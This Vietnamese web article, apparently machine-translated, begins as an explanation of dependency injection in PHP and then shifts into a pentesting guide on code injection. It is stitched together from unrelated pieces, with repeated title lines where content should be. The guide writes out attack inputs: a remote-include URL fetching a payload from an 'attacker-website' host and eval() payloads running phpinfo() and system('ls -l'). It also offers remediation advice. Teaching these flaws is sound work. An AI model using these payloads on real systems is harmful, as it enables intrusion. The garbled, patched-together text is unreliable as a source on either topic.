@inject trong PHP là gì?

Ưu điểm chính của việc sử dụng phép nội xạ phụ thuộc là nó khuyến khích lập trình mô-đun (Quá trình chia nhỏ chương trình máy tính thành các chương trình con riêng biệt)

Điều đầu tiên chúng ta cần nói về sự phụ thuộc là gì. Vì vậy, trong phép nội xạ phụ thuộc, các phần phụ thuộc là các đối tượng mà bạn cần sử dụng trong lớp của mình và việc tiêm nội dung đơn giản có nghĩa là chuyển các phần phụ thuộc đó vào lớp của bạn, nói một cách đơn giản, một phần phụ thuộc chỉ là một đối tượng khác mà lớp của bạn cần để hoạt động

Có nhiều cách khác nhau để đưa các phụ thuộc vào các lớp của bạn nhưng cách phổ biến nhất là thông qua hàm tạo của lớp bạn

class UserRepository
{
private $db;
private $config;
private $user;

public function __construct(Database $db, Config $config, User $user)
{

$this->db = $db;
$this->config = $config;
$this->user = $user;
}
}

Trên đây là phương thức khởi tạo của tôi, phương thức này sẽ đưa các phụ thuộc vào Kho lưu trữ người dùng dưới dạng thuộc tính lớp, vì vậy tôi có thể sử dụng chúng trong toàn bộ lớp. Thay vì khởi tạo chúng trong lớp của tôi, tôi sẽ đưa chúng vào khi UserRepository tự khởi tạo

Cùng với các giao diện — bạn có thể coi các lớp là “hộp đen”, nơi bạn có thể thay đổi các phần phụ thuộc và biết rằng sẽ không có gì bị hỏng

Điều này có vẻ tuyệt vời phải không? . Còn rất nhiều lợi ích khác nữa

Kiểm tra trở nên dễ dàng hơn,

Tái cấu trúc trở nên dễ dàng hơn và

Sử dụng lại mã dễ dàng hơn

Cuộc sống của một lập trình viên sử dụng phép nội xạ phụ thuộc dễ dàng hơn nhiều

Đối với cá nhân tôi, việc tiêm phụ thuộc đã cải thiện chất lượng mã của tôi và nó chắc chắn đáng để thực hiện

Chèn mã là một kỹ thuật được kẻ tấn công sử dụng để đưa mã phía máy chủ từ bên ngoài vào để công nghệ phía máy chủ tương ứng có thể đánh giá mã đó

Điều gì có thể được thực hiện bằng cách tiêm mã?

Các cuộc tấn công chèn mã rất nghiêm trọng vì nó dẫn đến việc làm tổn hại đến dữ liệu và chức năng của ứng dụng, nó cũng có thể thu thập…

OWASP định nghĩa Tiêm mã là một thuật ngữ chung cho bất kỳ loại tấn công nào bao gồm việc tiêm mã, sau đó được ứng dụng giải thích và thực thi. Kiểu tấn công này khai thác việc xử lý kém dữ liệu không đáng tin cậy. Các kiểu tấn công này thường có thể thực hiện được do thiếu xác thực dữ liệu đầu vào/đầu ra thích hợp, chẳng hạn như

  • các ký tự được phép (các lớp biểu thức chính quy tiêu chuẩn hoặc tùy chỉnh)
  • định dạng dữ liệu
  • lượng dữ liệu dự kiến

Tiêm mã khác với Tiêm lệnh ở chỗ kẻ tấn công chỉ bị giới hạn bởi chức năng của chính ngôn ngữ được tiêm. Nếu kẻ tấn công có thể chèn và thực thi mã PHP vào một ứng dụng, thì chúng chỉ bị giới hạn bởi khả năng của PHP. Chèn lệnh bao gồm tận dụng mã hiện có để thực thi lệnh, thường là trong ngữ cảnh của trình bao

Làm thế nào nó hoạt động?

cảnh 1. Hàm PHP bao gồm ()

Trong trường hợp này, hàm PHP include() đang được sử dụng mà không có xác thực đầu vào

http://vulnerable-site.com/?path=support.php

Để khai thác lỗ hổng, chúng tôi sẽ lưu trữ tải trọng của mình trong một máy chủ bên ngoài để gọi tệp bên ngoài và thực thi trên máy chủ dễ bị tấn công

http://vulnerable-site.com/?path=http://attacker-website/paylaod.php

kịch bản 2. Hàm PHP eval()

Trong ví dụ này, hàm PHP eval() dễ bị tấn công đang được sử dụng, cung cấp một cách nhanh chóng và thuận tiện để thực thi các giá trị chuỗi dưới dạng mã PHP, đặc biệt là trong các giai đoạn phát triển ban đầu hoặc để gỡ lỗi, điều này sẽ gây ra việc chèn mã. Mã nguồn trông giống như sau


Tham số đang được chuyển đến URL như sau

http://vulnerable-site.com/?parameter=value

Kẻ tấn công biết hàm eval() đang được sử dụng (có thể được tiết lộ qua thông báo lỗi) có thể gửi tải trọng sau để khai thác lỗ hổng

http://vulnerable-site.com/?parameter=value;phpinfo();

Nếu thành công, phpinfo() sẽ được thực thi sau khi ‘echo’ing giá trị tham số và sẽ cung cấp thông tin về cấu hình chi tiết

Hơn nữa, trong trường hợp chức năng system() cũng được bật, điều này có thể cho phép kẻ tấn công thực thi các lệnh tùy ý như bên dưới

http://vulnerable-site.com/?parameter=value;system('ls -l');

Tác động của việc tiêm mã là gì

Trường hợp mã độc đầu vào của người dùng được xử lý không an toàn, lỗ hổng cho phép thực thi mã. Điều này có thể dẫn đến việc thực thi mã tùy ý trên máy chủ hoặc chạy các lệnh hệ thống trên máy chủ dẫn đến các cuộc tấn công tiêm lệnh. Dựa trên các đặc quyền hiện tại, cuộc tấn công có thể dẫn đến việc chiếm được vỏ tương tác trên hệ thống dễ bị tấn công

Cheat chèn mã

@inject trong PHP là gì?

@inject trong PHP là gì?

@inject trong PHP là gì?

msfvenom

@inject trong PHP là gì?


khắc phục

Để tránh và khắc phục việc tiêm mã, bạn có thể làm như sau

  • Xác thực/Khử trùng trên đầu vào của người dùng. Dữ liệu từ tất cả các nguồn có khả năng không đáng tin cậy phải được xác thực đầu vào, bao gồm không chỉ các ứng dụng khách web truy cập Internet mà còn cả nguồn cấp dữ liệu phụ trợ qua các mạng bên ngoài, từ các nhà cung cấp, đối tác, nhà cung cấp hoặc cơ quan quản lý, mỗi nguồn trong số đó có thể tự bị xâm phạm và bắt đầu gửi không đúng định dạng
  • Tránh sử dụng các chức năng dễ bị tổn thương trong mã. Cũng có thể kiểm tra mã bằng các công cụ tự động để xác định các chức năng không an toàn và các lỗ hổng có thể xảy ra
  • Tái bút. Các chức năng thường bị vô hiệu hóa cho PHP bao gồm. exec(), passthru(), shell_exec(), system(), proc_open(), popen(), curl_exec(), curl_multi_exec(), parse_ini_file(), và show_source()

Nếu bạn đang tìm kiếm hướng dẫn chi tiết hơn về cách khai thác Code Injection, hãy xem video mới nhất của tôi

Ngoài ra, hãy đọc thêm Hướng dẫn của Pentester với Hướng dẫn về Chèn lệnh có tại đây hoặc Hướng dẫn về SSRF có tại đây

Tiêm PHP là gì?

Mô tả. PHP Object Injection là lỗ hổng cấp ứng dụng có thể cho phép kẻ tấn công thực hiện các loại tấn công độc hại khác nhau , chẳng hạn như Code Injection, SQL Injection, Path Traversal và .

Tiêm URL là gì?

Tiêm URL xảy ra khi tin tặc đã tạo/tiêm các trang mới trên một trang web hiện có . Các trang này thường chứa mã chuyển hướng người dùng đến các trang web khác hoặc liên quan đến doanh nghiệp trong các cuộc tấn công vào các trang web khác. Những lần tiêm này có thể được thực hiện thông qua lỗ hổng phần mềm, thư mục không an toàn hoặc trình cắm.

Làm cách nào để sử dụng phép nội xạ phụ thuộc trong PHP?

Nội dung phụ thuộc là quy trình trong đó một đối tượng cung cấp các phần phụ thuộc của đối tượng khác . Dependency Injection là một phương pháp thiết kế phần mềm cho phép tránh các phụ thuộc mã hóa cứng và cho phép thay đổi các phụ thuộc cả trong thời gian chạy và thời gian biên dịch.

Tiêm đầu vào là gì?

Ứng dụng độc hại có thể đưa đầu vào vào giao diện người dùng để bắt chước tương tác của người dùng thông qua việc lạm dụng API trợ năng của Android . Có thể đạt được Input Injection bằng bất kỳ phương pháp nào sau đây. Bắt chước người dùng nhấp chuột trên màn hình, chẳng hạn như để ăn cắp tiền từ tài khoản PayPal của người dùng.